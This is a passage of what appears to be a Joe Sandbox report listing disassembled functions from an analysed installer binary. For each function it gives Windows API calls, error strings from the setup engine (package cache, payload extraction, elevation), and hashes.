WaitForSingleObject.KERNEL32(?,000000FF,755730B0,?,00000000), ref: 00A44F90
ReleaseMutex.KERNEL32(?), ref: 00A44FB0
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A44FF2
ReleaseMutex.KERNEL32(?), ref: 00A45005
SetEvent.KERNEL32(?), ref: 00A4500E

Strings

Failed to send files in use message from netfx chainer., xrefs: 00A4504F
Failed to get message from netfx chainer., xrefs: 00A45029

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: MutexObjectReleaseSingleWait$Event
String ID: Failed to get message from netfx chainer.$Failed to send files in use message from netfx chainer.
API String ID: 2608678126-3424578679
Opcode ID: 646bac20251a2fcd06d0eb17febd1e2a079f70392c44b210139664f3c76e419c
Instruction ID: bc9d27e20eaa857a0c4a57a023042600b16fe170e07b01e42e5312ae2a6faba9
Opcode Fuzzy Hash: 646bac20251a2fcd06d0eb17febd1e2a079f70392c44b210139664f3c76e419c
Instruction Fuzzy Hash: FB31F535900608AFCF22DBA9CC45AEEBFB1FF84321F148529E525A61A2DB31D549CB50

Function 00A27533 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 73COMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 00A27548
GetFileAttributesW.KERNEL32(00000000,?,?,00000000,00000000,?,00000000,?,00A28BD7,?,?,?), ref: 00A2755D
GetLastError.KERNEL32(?,00A28BD7,?,?,?), ref: 00A27568

Strings

Failed to set directory search path variable., xrefs: 00A2759A
Directory search: %ls, did not find path: %ls, reason: 0x%x, xrefs: 00A275DD
Failed to format variable string., xrefs: 00A27553
Failed while searching directory search: %ls, for path: %ls, xrefs: 00A275C7

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: AttributesErrorFileLastOpen@16
String ID: Directory search: %ls, did not find path: %ls, reason: 0x%x$Failed to format variable string.$Failed to set directory search path variable.$Failed while searching directory search: %ls, for path: %ls
API String ID: 1811509786-2966038646
Opcode ID: ba1a3d30d178898d2af1422948028b65218be8a17399efb5587363fcf3cd7ce4
Instruction ID: e3d8eb05cf108887115ea3708474bd6b98701985af206e4ad26c6f35b2bab67a
Opcode Fuzzy Hash: ba1a3d30d178898d2af1422948028b65218be8a17399efb5587363fcf3cd7ce4
Instruction Fuzzy Hash: C821C332944135FBDB226A9CEE02BAEBA25BF10721F200230F904A51A1D7368F50E7D5

Function 00A27795 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 70COMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 00A277AA
GetFileAttributesW.KERNEL32(00000000,?,?,00000000,00000000,?,00000000,?,00A28BB4,?,?,?), ref: 00A277BF
GetLastError.KERNEL32(?,00A28BB4,?,?,?), ref: 00A277CA

Strings

Failed while searching file search: %ls, for path: %ls, xrefs: 00A277F9
Failed to set variable to file search path., xrefs: 00A27823
Failed to format variable string., xrefs: 00A277B5
File search: %ls, did not find path: %ls, xrefs: 00A27837

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: AttributesErrorFileLastOpen@16
String ID: Failed to format variable string.$Failed to set variable to file search path.$Failed while searching file search: %ls, for path: %ls$File search: %ls, did not find path: %ls
API String ID: 1811509786-3425311760
Opcode ID: c94fcb742478d684a05130bdb363f4f51f24f9a7b75c0ddb50a68e463e28b9ab
Instruction ID: da0f503ebb46b08bdd32092721ebed44d381ea3165c42f42b75321f414d8ac63
Opcode Fuzzy Hash: c94fcb742478d684a05130bdb363f4f51f24f9a7b75c0ddb50a68e463e28b9ab
Instruction Fuzzy Hash: 5B119332985135FADB126BACEE0ABAD7A25EF10712F200134FC10A51A1E7759F90E6D5

Function 00A378CA Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A378EE
GetTempPathW.KERNEL32(00000104,?,?,?,?), ref: 00A37902
GetLastError.KERNEL32(?,?,?), ref: 00A3790C

Strings

cache.cpp, xrefs: 00A37931
%ls%ls\, xrefs: 00A3794A
Failed to get temp path for working folder., xrefs: 00A3793B
Failed to append bundle id on to temp path for working folder., xrefs: 00A3795E

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLastPathTemp_memset
String ID: %ls%ls\$Failed to append bundle id on to temp path for working folder.$Failed to get temp path for working folder.$cache.cpp
API String ID: 623060366-3390808230
Opcode ID: 72078ada62badfb6a619477cd6f24c43e9099c7e2a0e7844d61cdf4e84ca3813
Instruction ID: 7da0904b9a620ea0dcfa9785e88599c51e2b739a93b90726b9c10ce759aaaabd
Opcode Fuzzy Hash: 72078ada62badfb6a619477cd6f24c43e9099c7e2a0e7844d61cdf4e84ca3813
Instruction Fuzzy Hash: 9F012BB2A44324B6D330EB64ED46F7E37A8AF00B21F1007A4FD14E61C2FA649E4446D5

Function 00A2E916 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 54synchronizationthreadCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000493E0,00000000,?,?,00A312AC,00000000,?,00A30F5D,?,00000000,?,?,?,00A21DEA,?), ref: 00A2E928
GetLastError.KERNEL32(?,?,00A312AC,00000000,?,00A30F5D,?,00000000,?,?,?,00A21DEA,?,?), ref: 00A2E932
GetExitCodeThread.KERNEL32(?,?,?,?,00A312AC,00000000,?,00A30F5D,?,00000000,?,?,?,00A21DEA,?,?), ref: 00A2E96F
GetLastError.KERNEL32(?,?,00A312AC,00000000,?,00A30F5D,?,00000000,?,?,?,00A21DEA,?,?), ref: 00A2E979

Strings

elevation.cpp, xrefs: 00A2E957, 00A2E99E
Failed to get cache thread exit code., xrefs: 00A2E9A8
Failed to wait for cache thread to terminate., xrefs: 00A2E961

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast$CodeExitObjectSingleThreadWait
String ID: Failed to get cache thread exit code.$Failed to wait for cache thread to terminate.$elevation.cpp
API String ID: 3686190907-1954264426
Opcode ID: cd60e976114c97d5b1c79350998096473d8c1d7f88f09307f09047d58a171157
Instruction ID: 7222848fbaabd054eb1db0f92506bb8840802e81cd04e2c63077a78e81a48744
Opcode Fuzzy Hash: cd60e976114c97d5b1c79350998096473d8c1d7f88f09307f09047d58a171157
Instruction Fuzzy Hash: BD016873B54732779720C76CAC0AB6B6A68BF01BA2B010139BD04EA0D0EB64CDC0D7E4

Function 00A2C253 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 51synchronizationthreadCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000001,000000FF,?,?,00A2C6FC,?,00A2138B,00000000,?,00A213BB,00000001), ref: 00A2C260
GetLastError.KERNEL32(?,?,00A2C6FC,?,00A2138B,00000000,?,00A213BB,00000001), ref: 00A2C26A
GetExitCodeThread.KERNEL32(00000001,00000000,?,?,00A2C6FC,?,00A2138B,00000000,?,00A213BB,00000001), ref: 00A2C2AC
GetLastError.KERNEL32(?,?,00A2C6FC,?,00A2138B,00000000,?,00A213BB,00000001), ref: 00A2C2B6

Strings

Failed to get cache thread exit code., xrefs: 00A2C2EA
core.cpp, xrefs: 00A2C294, 00A2C2E0
Failed to wait for cache thread to terminate., xrefs: 00A2C29E

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast$CodeExitObjectSingleThreadWait
String ID: Failed to get cache thread exit code.$Failed to wait for cache thread to terminate.$core.cpp
API String ID: 3686190907-2546940223
Opcode ID: 0d208b0d450598acb353ba4dac98c1ee816d8e6e524add2aa1a79b5df9f141a3
Instruction ID: f423f7d8e6bb3b16676d526d11849b55eb13d01d2c95e5bddeefdf16f42931ef
Opcode Fuzzy Hash: 0d208b0d450598acb353ba4dac98c1ee816d8e6e524add2aa1a79b5df9f141a3
Instruction Fuzzy Hash: 8A115271A80706FADB10EBE4EE06BAD7A78BF01752F204138E410E51E0EB75CB04AB54

Function 00A4CC21 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00A4CC2D

Part of subcall function 00A49EC2: __getptd_noexit.LIBCMT ref: 00A49EC5
Part of subcall function 00A49EC2: __amsg_exit.LIBCMT ref: 00A49ED2

__amsg_exit.LIBCMT ref: 00A4CC4D
__lock.LIBCMT ref: 00A4CC5D
InterlockedDecrement.KERNEL32(?), ref: 00A4CC7A
_free.LIBCMT ref: 00A4CC8D
InterlockedIncrement.KERNEL32(006A2D28), ref: 00A4CCA5

Strings

(-j, xrefs: 00A4CC93, 00A4CC9B

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID: (-j
API String ID: 3470314060-1146232035
Opcode ID: a2a74ab1e0c512df39c9eb932d20c525cd60283c58e636c49dc33043a4b8686f
Instruction ID: a925aed8e1a609fb2452f17f63b6829735899ecb0e4d162b9a52aea9e98eb321
Opcode Fuzzy Hash: a2a74ab1e0c512df39c9eb932d20c525cd60283c58e636c49dc33043a4b8686f
Instruction Fuzzy Hash: 4701D63A942F21DBCB60EB64994675E77A0BFC4732F148115F81CA7291C734A982CFD5

Function 00A324C1 Relevance: 12.1, APIs: 2, Strings: 6, Instructions: 110COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00A324D7
LeaveCriticalSection.KERNEL32(?), ref: 00A325D8

Strings

Failed to set source path for payload., xrefs: 00A32568
UX denied while trying to set source on embedded payload: %ls, xrefs: 00A3254E
UX requested unknown container with id: %ls, xrefs: 00A32598
Failed to set source path for container., xrefs: 00A325BE
UX requested unknown payload with id: %ls, xrefs: 00A32538
Engine is active, cannot change engine state., xrefs: 00A324F1

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: Engine is active, cannot change engine state.$Failed to set source path for container.$Failed to set source path for payload.$UX denied while trying to set source on embedded payload: %ls$UX requested unknown container with id: %ls$UX requested unknown payload with id: %ls
API String ID: 3168844106-4121889706
Opcode ID: de516baab29bb22cc7ba907751208ac8a280c697a29f62217c019511c5084750
Instruction ID: 128e2d90569fd9f9e403bb87708ba71923f20906d5918d26ae423935f544a7b2
Opcode Fuzzy Hash: de516baab29bb22cc7ba907751208ac8a280c697a29f62217c019511c5084750
Instruction Fuzzy Hash: D1312772940A14BFCB10EB68CD89EAEB3FCEB58361F548541F805E7141E778DE4187A0

Function 00A25EC7 Relevance: 12.1, APIs: 1, Strings: 7, Instructions: 105stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A52603: SHGetFolderPathW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000000,00000104,00000000,?,00A37AD4,0000001C,00000000,00000000,00000000,00000000), ref: 00A52624

lstrlenA.KERNEL32(E900A5F2,00000000,00A213BB,00000000,00A213BB,00A270D7,00A270D7,?,A4683C79,00A213BB,00A270BB,?,UninstallString,00A213BB), ref: 00A25F63

Strings

per-machine, xrefs: 00A25EF7
Failed to allocate regid folder path., xrefs: 00A25F91
Failed to create regid folder: %ls, xrefs: 00A25FA3
Failed to write tag xml to file: %ls, xrefs: 00A25FAD
Failed to find local %hs appdata directory., xrefs: 00A25F07
per-user, xrefs: 00A25F01, 00A25F06
UninstallString, xrefs: 00A25ECE

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: FolderPathlstrlen
String ID: Failed to allocate regid folder path.$Failed to create regid folder: %ls$Failed to find local %hs appdata directory.$Failed to write tag xml to file: %ls$UninstallString$per-machine$per-user
API String ID: 3664928333-3308940114
Opcode ID: 667654fe9c4e39b710d4da19e91706a0acdbc7b4cee3676b0139ed31466dd74f
Instruction ID: 4358ac98a41bcb39ab655351f3788103432570c550076ef7133b0020e129cac1
Opcode Fuzzy Hash: 667654fe9c4e39b710d4da19e91706a0acdbc7b4cee3676b0139ed31466dd74f
Instruction Fuzzy Hash: C631A272C00A29FBCF119FA8DE41EADBBB5FF48B01F208476F914A7150D7319A55AB90

Function 00A423E4 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 164COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(?,000000FE,?,00000000,?,?,?,00000000,?,00000000), ref: 00A424A6
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 00A424B0

Strings

download, xrefs: 00A42471
Failed to clear readonly bit on payload destination path: %ls, xrefs: 00A424E0
apply.cpp, xrefs: 00A424D5
Failed attempt to download URL: '%ls' to: '%ls', xrefs: 00A42575

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: Failed attempt to download URL: '%ls' to: '%ls'$Failed to clear readonly bit on payload destination path: %ls$apply.cpp$download
API String ID: 1799206407-2688335605
Opcode ID: ea20680f9c6ecbee064e62ab51137ae02ac254005e9886c3cb8ab775b7e1751e
Instruction ID: aaf24803f67ff5f2334f2b9cb8103029175bce81c87062702037e11931e78955
Opcode Fuzzy Hash: ea20680f9c6ecbee064e62ab51137ae02ac254005e9886c3cb8ab775b7e1751e
Instruction Fuzzy Hash: 4051D139A00216BFDF11DFA8C841FBABBB4FF84B14F948059F505AA190E375DA81DB61

Function 00A27EF9 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 133COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A27F24

Strings

Failed to convert version: %ls to DWORD64 for ProductCode: %ls, xrefs: 00A28039
Failed to enum related products., xrefs: 00A2800F
VersionString, xrefs: 00A27F64, 00A27F9D
Failed to get version for product in user unmanaged context: %ls, xrefs: 00A27F8F
Failed to get version for product in machine context: %ls, xrefs: 00A28022

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memset
String ID: Failed to convert version: %ls to DWORD64 for ProductCode: %ls$Failed to enum related products.$Failed to get version for product in machine context: %ls$Failed to get version for product in user unmanaged context: %ls$VersionString
API String ID: 2102423945-1979147598
Opcode ID: 1fcef167e514f7d3189a9d443a2b831ae65883f3e5841e8445a9f2c1531834b3
Instruction ID: e13e88d9b064c397237bf2def06f3a6249de8d006d48edbbe716e62f3490d375
Opcode Fuzzy Hash: 1fcef167e514f7d3189a9d443a2b831ae65883f3e5841e8445a9f2c1531834b3
Instruction Fuzzy Hash: 1A416E72C4526CAFCB10EFE89A81CEDB7B8FB04744B10413AF909AB141E6385E48CB91

Function 00A394F3 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 126sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0,?,00000000,00000000,?), ref: 00A39570

Part of subcall function 00A56D15: _memset.LIBCMT ref: 00A56D8A
Part of subcall function 00A56D15: _memset.LIBCMT ref: 00A56D98
Part of subcall function 00A56D15: GetFileAttributesW.KERNEL32(?,?,?,?,00000000,?,00000000), ref: 00A56DA1
Part of subcall function 00A56D15: GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 00A56DBC

Strings

Failed to ensure cache directory to remove was backslash terminated., xrefs: 00A3952B
per-machine, xrefs: 00A395C5, 00A395FB
Failed to get old %hs package cache root directory., xrefs: 00A3960A
per-user, xrefs: 00A395CE, 00A395D3, 00A39604, 00A39609
Failed to get %hs package cache root directory., xrefs: 00A395D4
Failed to calculate cache path., xrefs: 00A39515

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memset$AttributesErrorFileLastSleep
String ID: Failed to calculate cache path.$Failed to ensure cache directory to remove was backslash terminated.$Failed to get %hs package cache root directory.$Failed to get old %hs package cache root directory.$per-machine$per-user
API String ID: 6426718-1559687374
Opcode ID: 520d6fe57ab4f80a062574a3688a3bb8dddf5be73f4763b3103466f65db195ec
Instruction ID: 3480e66d135edde4d13287e09aecebda0866e91444ec5fdb3df27124e349b6ab
Opcode Fuzzy Hash: 520d6fe57ab4f80a062574a3688a3bb8dddf5be73f4763b3103466f65db195ec
Instruction Fuzzy Hash: A0312672D40514FBCF22ABA48E86EAFFABCEB64310F200461F819F6151E7B54F849691

Function 00A418A7 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A418B8

Part of subcall function 00A5208E: GetModuleFileNameW.KERNEL32(00A2213E,?,00000104,?,00000104,?,00000000,?,?,00A2213E,?,00000000,?,?,?,7744C3F0), ref: 00A520AF

CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,?,000000FF,?,?,?,?,?,00000000,?,?,?,?), ref: 00A41933

Part of subcall function 00A5238C: CompareStringW.KERNEL32(00000000,00000001,00000000,000000FF,00000000,000000FF,00000000,00000000,00000003,00000000,00000000,00000003,00000000,00000000), ref: 00A523D0

Strings

Failed to extract all payloads from container: %ls, xrefs: 00A4197E
Failed to open container: %ls., xrefs: 00A41911
Failed to skip the extraction of payload: %ls from container: %ls, xrefs: 00A419DA
Failed to extract payload: %ls from container: %ls, xrefs: 00A419CE

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CompareString$FileModuleName_memset
String ID: Failed to extract all payloads from container: %ls$Failed to extract payload: %ls from container: %ls$Failed to open container: %ls.$Failed to skip the extraction of payload: %ls from container: %ls
API String ID: 3323778125-3891707333
Opcode ID: 309cfc51cdcea38c41e5ccb70900f81096762b534f99b2dfbc00914ee8efe568
Instruction ID: 9f0250ab7a956f614fa953a6fecb1b4c36fbb7bc315e1b17fab888417d9c1c7d
Opcode Fuzzy Hash: 309cfc51cdcea38c41e5ccb70900f81096762b534f99b2dfbc00914ee8efe568
Instruction Fuzzy Hash: 3241B13AC00218FBCF11EFA4CE41C9EB7B8AF85350B204662F925BB152D2319A94DB91

Function 00A52498 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 123COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00A2214A,00000000,?,?,?,?,00A21E8E,00A2222A), ref: 00A52530
GetLastError.KERNEL32(?,?,?,?,00A21E8E,00A2222A), ref: 00A5253E
GetTempPathW.KERNEL32(00000104,00000000,00000000,00000104,00000000,00000000,00A21E22,?,?,?,00A2B7FD,00000000,.ba%d,000F423F,00A21E8E,00A2222A), ref: 00A52574
GetLastError.KERNEL32(?,?,?,00A2B7FD,00000000,.ba%d,000F423F,00A21E8E,00A2222A,00000000,00A21D56,?,?,00A2D991,A5BB4868,00A21E22), ref: 00A52582

Strings

%s%s, xrefs: 00A52513
pathutil.cpp, xrefs: 00A525A7

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryPathTemp
String ID: %s%s$pathutil.cpp
API String ID: 2804724334-3961969462
Opcode ID: b4d54143e769ec8d43f59a83fb4efc35d02da2fb4fed5053b0ca64b7f78db6ea
Instruction ID: 81c6ca8924dccb4ddac8e2d6d77f52c0275d98cd25667f9ad5edf5a51b216090
Opcode Fuzzy Hash: b4d54143e769ec8d43f59a83fb4efc35d02da2fb4fed5053b0ca64b7f78db6ea
Instruction Fuzzy Hash: 9831C672900129BBCB20ABA48D95B9E7AB8BB02313F150575FD05F7111F6398F8C9791

Function 00A50D87 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0000FDE9), ref: 00A50DD8
GetLastError.KERNEL32(?,?,00A50109,?,00A46A7B,?,?,00A46A7B,?,Failed to extract all files from container.), ref: 00A50DDE

Part of subcall function 00A5299C: GetProcessHeap.KERNEL32(00000000,?,?,00A50EF7,?,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000,00000000), ref: 00A529A4
Part of subcall function 00A5299C: HeapSize.KERNEL32(00000000,?,00A50EF7,?,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000,00000000,80070000), ref: 00A529AB

Strings

strutil.cpp, xrefs: 00A50EB6
W, xrefs: 00A50DB5

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Heap$ByteCharErrorLastMultiProcessSizeWide
String ID: W$strutil.cpp
API String ID: 3662877508-3697633219
Opcode ID: bdb8e1cd42ea90e612c08e0482c73ef278f675ee3918b1b667e5814fdba53bcc
Instruction ID: 860bfa3d0803487d26ca8b1026bd0e54cd330c17428795e4eaebfbccadb78d69
Opcode Fuzzy Hash: bdb8e1cd42ea90e612c08e0482c73ef278f675ee3918b1b667e5814fdba53bcc
Instruction Fuzzy Hash: FF418171A00209EFDF10DFA48D82EAD7BB8FF04316F308969ED51E7281D2758E489B50

Function 00A4FF1C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

